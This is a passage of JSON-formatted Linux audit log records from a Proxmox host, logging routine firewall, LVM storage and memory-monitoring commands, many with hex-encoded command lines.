a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964475608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.608:61181): proctitle=697073657400726573746F7265"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.018:64610): argc=1 a0=\"date\""} {"@timestamp":1781964475600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.600:61180): proctitle=\"ip6tables-save\""} {"@timestamp":1781965206014,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.014:64608): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964475592,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.592:61179): proctitle=\"iptables-save\""} {"@timestamp":1781965206008,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.008:64607): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.589:61178): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965205998,"@rawstring":"node=pve type=EXECVE msg=audit(1781965205.998:64606): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.586:61177): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965205993,"@rawstring":"node=pve type=EXECVE msg=audit(1781965205.993:64605): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964475585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.585:61176): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965205983,"@rawstring":"node=pve type=EXECVE msg=audit(1781965205.983:64604): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964475585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.585:61175): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965205974,"@rawstring":"node=pve type=EXECVE msg=audit(1781965205.974:64603): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964475581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.581:61174): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965204673,"@rawstring":"node=pve type=EXECVE msg=audit(1781965204.673:64602): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964475574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.574:61173): proctitle=\"ip6tables-save\""} {"@timestamp":1781965204650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965204.650:64601): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964475567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.567:61172): proctitle=\"iptables-save\""} {"@timestamp":1781965202160,"@rawstring":"node=pve type=EXECVE msg=audit(1781965202.160:64600): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.562:61171): proctitle=69707365740073617665"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=EXECVE msg=audit(1781965202.154:64597): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.556:61170): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965197.142:64594): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.548:61169): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=EXECVE msg=audit(1781965197.135:64591): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964474612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.612:61168): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965195960,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.960:64588): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964474583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.583:61167): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965195951,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.951:64587): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964474512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.512:61166): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.949:64586): argc=1 a0=\"date\""} {"@timestamp":1781964474512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.512:61165): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.938:64584): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964474511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.511:61164): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195926,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.926:64583): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964474502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.502:61163): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195918,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.918:64582): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964474502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.502:61162): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195912,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.912:64581): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964474501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964474.501:61161): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195902,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.902:64580): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.483:61160): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195897,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.897:64578): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.483:61159): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195890,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.890:64577): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.483:61158): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195884,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.884:64576): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.469:61157): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195877,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.877:64575): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.469:61156): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195869,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.869:64574): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964469.469:61155): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965195861,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.861:64573): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964465539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.539:61154): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965195856,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.856:64572): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.536:61153): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965195843,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.843:64571): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.534:61152): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965195836,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.836:64570): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964465534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.534:61151): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965195817,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.817:64569): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964465531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.531:61150): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.815:64568): argc=1 a0=\"date\""} {"@timestamp":1781964465524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.524:61149): proctitle=\"ip6tables-save\""} {"@timestamp":1781965195803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.803:64566): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964465517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.517:61148): proctitle=\"iptables-save\""} {"@timestamp":1781965195788,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.788:64565): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.509:61147): proctitle=\"ip6tables-save\""} {"@timestamp":1781965195779,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.779:64564): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.503:61146): proctitle=\"iptables-save\""} {"@timestamp":1781965195774,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.774:64563): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964465499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.499:61145): proctitle=\"ebtables-restore\""} {"@timestamp":1781965195763,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.763:64562): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964465497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.497:61144): proctitle=\"ebtables-restore\""} {"@timestamp":1781965195752,"@rawstring":"node=pve type=EXECVE msg=audit(1781965195.752:64561): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964465492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.492:61143): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965194556,"@rawstring":"node=pve type=EXECVE msg=audit(1781965194.556:64560): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964465485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.485:61142): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965194528,"@rawstring":"node=pve type=EXECVE msg=audit(1781965194.528:64559): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964465479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.479:61141): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965192.125:64558): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.474:61140): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=EXECVE msg=audit(1781965192.116:64555): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.468:61139): proctitle=697073657400726573746F7265"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=EXECVE msg=audit(1781965187.105:64552): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.462:61138): proctitle=\"ip6tables-save\""} {"@timestamp":1781965187098,"@rawstring":"node=pve type=EXECVE msg=audit(1781965187.098:64549): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.453:61137): proctitle=\"iptables-save\""} {"@timestamp":1781965185738,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.738:64546): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964465450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.450:61136): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965185731,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.731:64545): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964465446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.446:61135): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.730:64544): argc=1 a0=\"date\""} {"@timestamp":1781964465445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.445:61134): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.723:64542): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964465445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.445:61133): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965185715,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.715:64541): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.441:61132): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965185709,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.709:64540): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.434:61131): proctitle=\"ip6tables-save\""} {"@timestamp":1781965185703,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.703:64539): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.426:61130): proctitle=\"iptables-save\""} {"@timestamp":1781965185695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.695:64538): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.421:61129): proctitle=69707365740073617665"} {"@timestamp":1781965185689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.689:64536): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964465414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.414:61128): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965185685,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.685:64535): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964465406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964465.406:61127): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965185678,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.678:64534): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964464503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.503:61126): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965185672,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.672:64533): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964464478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.478:61125): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965185669,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.669:64532): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.461:61124): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.663:64531): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.461:61123): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.655:64530): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.461:61122): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185649,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.649:64529): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.455:61121): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185645,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.645:64528): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.455:61120): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185642,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.642:64527): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964464.455:61119): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.640:64526): argc=1 a0=\"date\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.725:61118): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.637:64524): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.725:61117): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965185627,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.627:64523): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964459723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.723:61116): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965185619,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.619:64522): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.448:61115): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.613:64521): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.448:61114): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185601,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.601:64520): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.448:61113): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965185593,"@rawstring":"node=pve type=EXECVE msg=audit(1781965185.593:64519): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.442:61112): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965184426,"@rawstring":"node=pve type=EXECVE msg=audit(1781965184.426:64518): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.442:61111): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965184404,"@rawstring":"node=pve type=EXECVE msg=audit(1781965184.404:64517): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964459.442:61110): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=EXECVE msg=audit(1781965182.091:64516): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.395:61109): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965182086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965182.086:64513): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.392:61108): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=EXECVE msg=audit(1781965180.242:64510): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964455391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.391:61107): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=EXECVE msg=audit(1781965180.242:64509): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964455391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.391:61106): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965180239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965180.239:64508): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964455386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.386:61105): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965177.079:64507): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} 